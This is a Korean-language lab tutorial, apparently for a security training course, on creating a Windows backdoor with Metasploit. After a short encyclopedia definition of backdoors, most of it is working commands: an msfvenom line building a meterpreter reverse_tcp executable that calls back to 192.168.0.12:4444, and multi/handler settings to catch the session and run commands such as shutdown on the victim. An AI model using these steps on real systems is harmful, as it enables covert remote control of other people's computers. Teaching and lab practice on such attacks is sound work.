Reverse TCP를 이용한 백도어[backdoor] 실습
정상적인 인증 절차를 거치지 않고, 컴퓨터와 암호 시스템 등에 접근할 수 있도록 하는 방법이다. 백도어는 주로 설계 및 개발 단계에 의도적으로 심어지는 것이지만, 작동 중인 컴퓨터에 존재하는 보안 취약점을 통해 전송된 소프트웨어(트로이목마, Trojan Horse 등)에 의해 만들어지기도 한다. 넓은 의미로는 기능상의 결함으로 인해 원래 허가되지 않은 통신 및 조작을 입력 받는 보안 구멍(hole)도 포함된다. 프로그램에 부분적으로 숨겨진 형태 혹은 독립적인 소프트웨어 형태, 하드웨어 특징 형태로 숨겨져 있을 수도 있다.
설계 및 개발 단계에 포함되는 백도어의 경우, 네트워크 장비 라우터와 방화벽에 개발 단계에서 테스트를 위해 포함되었던 백도어 형태의 기능이 제품 출시 단계에서 제거되지 않고 출하되어, 이를 발견한 사용자가 악용하는 경우가 있다. 또한 컴퓨터 프로그램 개발자에 의해 프로그램에 백도어가 의도적으로 내장되는 경우가 있으며, 미국에서는 대부분의 통신 기기에 미리 정부 기관으로부터의 접근을 허용하는 백도어가 설치되어 있다. 이를 이용한 도청은 법적 절차를 필요로 하지만, 운영 방법은 불투명하다. 의도하지 않은 개발 단계의 백도어는 주로 운영체제 등의 프로그램이 설계 및 개발 상의 실수로 보안 구멍을 가지는 경우가 있다.
이러한 백도어를 예방하기 위해서는 운영체제 및 소프트웨어 업데이트를 통해 보안 취약점을 제거하는 것이 효과적이다. 안티바이러스 소프트웨어는 트로이 목마와 같은 대부분의 백도어 프로그램을 발견하고 제거 및 비활성화 하는 기능을 가지고 있으며, 스파이웨어 제거 소프트웨어 또한 개인정보를 유출시키는 스파이웨어류의 백도어를 제거하는 데 도움이 된다.
[네이버 지식백과] 백도어 [backdoor] (두산백과)
실습 준비물 : 윈도우7 , 리눅스(데비안계열) , metasploit
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
리눅스에서 metasploit 파일을 구해서 설치한다.
설치 명령어 : dpkg -i metasploit*
msfvenom -p windows/meterpreter/reverse_tcp lhost=자신IP lport=쓸포트 -f(파일네임 약자) exe > /backup/windows.exe(저장경로)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.12 lport=4444 -f exe > /backup/windows.exe
백도어 파일을 생성해준다음에 msf콘솔을 실행해준다
-l 을 이용해 페이로드 종류를 확인 해볼 수 있다
msfconsole 명령어를 통해 콘솔을 실행한다
핸들러 정의를 해주고 세션을 확인해보면 현재는 연결된 세션이 없는 것을 확인할 수 있다
이제 테스트 할 윈도우에서 조금 전에 만들어준 백도어 파일을 실행하면 ~
세션이 연결 된 것을 확인 할 수 있다. mkdir Test 라고 입력하면 ~~~
폴더가 생성 된 것을 확인 할 수 있다.
백도어 (Backdoor)
msfvenom설치
metasploit-framework_4.16.16+20171109102928.git.1.c5fd027_1rapid7-1_i386(32bit)
파일구해서 dpkg -i 로 설치하면됨 (https://apt.metasploit.com/)
msfvenom -l 페일로드 종류확인
msfvenom -p windows/meterpreter/reverse_tcp lhost=자신IP lport=쓸포트 -f(파일네임 약자) exe > /backup/windows.exe(저장경로)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.12 lport=4444 -f exe > /backup/windows.exe
msfconsole 콘솔실행
use exploit/multi/handler 핸들러테이블 불러오는
set payload windows/meterpreter/reverse_tcp 만든 페이로드와 똑같게
set lhost 192.168.0.12 자신의 IP
set lport 4444 사용할 포트
set exitonsession false 세션을 백그라운드 동작 (해커의)
exploit -j 핸들러 실행
sessions 세션 View (연결된 세션 보기)
sessions -i 1 세션과 연결시키기 (세션에서 번호확인하고)
이제 help 쳐보면 할수 있는 커맨드들이 나옴
예) shutdown (윈도우가 꺼진다)